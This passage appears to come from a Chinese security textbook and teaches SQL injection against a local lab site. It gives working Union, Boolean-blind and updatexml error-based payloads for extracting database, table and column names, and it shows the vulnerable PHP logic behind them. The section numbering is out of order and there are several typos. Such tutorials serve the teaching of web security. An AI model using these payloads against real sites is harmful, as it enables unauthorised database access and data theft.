再次访问时,在URL后添加一个单引号,页面返回的结果与id=1的结果不同。访问id=1 and 1=1,由于and 1=1为真,所以页面应返回与id=1相同的结果。访问id=1 and 1=2,由于and 1=2为假,所以页面应返回与id=1不同的结果。可以得出该网站可能存在SQL注入漏洞的结论。接着,使用order by1-99语句查询该数据表的字段数量,可以理解为order by=1-99。
在数据库中查询参数ID对应的内容,然后将数据库的内容输出到页面,由于是将数据输出到页面上的,所以可以使用Union注入,且通过order by查询结果,得到字段数为3,所以Union注入的语句如下所示。
union select 1,2,3
当页面成功执行,但没有返回union select的结果,这是由于代码只返回第一条结果,所以union select获取的结果没有输出到页面。
可以通过设置参数ID值,让服务端返回union select的结果,例如,把ID的值设置为-1,这样数据库中没有id=-1的数据,所以会返回union select的结果。返回的结果为2:3,意味着在union select1.2,3中,2和3的位置可以输入MySQL语句。尝试在2的位置查询当前数据库名(使用database()函数)访问id=1 union select 1,database(),3,页面成功返回了数据库信息。
之后输入以下命令查询表名:
select table_name from information_schema.tables where table_schema=’sgl’ limit 0,1; 尝试在2的位置粘贴语句,这里需要加上括号,如图1,页面返回了数据库的第一个表名。如果需要看第二个表名,则修改limit中的第一位数字,如使用limit1,1就可以获取数据库的第二个表名.
图1
现在,所有的表名全部查询完毕,已知库名和表名,开始查询字段名,这里以emails表名为例,查询语句如下所示
select column_name from information_schema.columns where table_schema=’sql' and table_name=’emails’ limit 0,1;
尝试在2的位置粘贴语句,括号还是不可少,获取了emails表的第一个字段名,通过使用limit 1,1,获取了emails表的第二个字段名。当获得了库名、表名和字段名时,就可以构造SQL语句查询数据库的数据。
如查询字段email_id对应的数据,构造的SQL语句如下:
Select email_id from sql.emails limit 0,1;
之后,页面将返回email_id的第一条数据。
4.1.5 Union注入代码分析
在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数ID对应的内容,然后将第一条查询结果中的username和address输出到页面,于是将数据输出到页面上的,所以可以利用Union语句查询其他数据。
当访问id=1union select 1,2,3时,执行的SQL语句为:
select * from users where `id`=1 union select 1,2,3
此时SQL语句可以分为select* from users where `id`=1和union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。
1.6 Boolean注入攻击
Boolean注入攻击的测试地址:http://127.0.0.1/Boolean.php?id=1。
访问该网址时,页面返回yes,在URL后加一个单引号,返回结果将有yes变为no。所以,页面只返回yes或no。可以用Boolean注入先判断数据库的长度,语句如下:
‘ and length(database())>=1--+
有单引号,所以用注释符来注释。1位置可以是任何数字。判断出数据库库名的长度后,使用逐字符判断的方式获取数据库的库名。数据库库名的范围一般在a~z、0~9之内,可能还有一些特殊字符,不区分字母大小写。
逐字符判断的SQL语句为:
‘ and substr(database(),1,1)=’t’--+
Substr是截取,意为截取database()的值,从第一个字符开始,每次只返回一个。
Substr与limit的用法区别:
Limit从0开始排序,而另一个是从1开始排序
可以用Burp的爆破功能爆破其中的’t’值,当值是s时,页面返回yes,其它值均返回no。另外,还可用ASCLL码的字符进行查询。数据库名是‘sql’,判断第二位字母是否是q,用以下语句:
‘and substr(database(),2,1)=’q’--+
查询表名、字段名的语句也应粘贴在database()的位置。
4.1.6 Boolean注入代码分析
先在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,有结果,则返回yes,否则为no,页面上也只会显示yes或no.
4.1.8 报错注入攻击
报错注入攻击的测试地址:http://127.0.0.1/sql/error.php?username=1。
首先访问http://127.0.0.1/sql/errorphp?username=1',因为参数username的值是1‘,在数据库中执行SQL时,会因为多了一个单引号而报错。之后程序直接将错误信息输出到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatem()演示 SQL语句获取userO的值,SQL语句如下:
‘and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCII编码,解码结果为~。然后尝试获取当前的库名,接着用select语句继续获取数据库中的库名、表名和字段名。
4.1.7 报错注入代码分析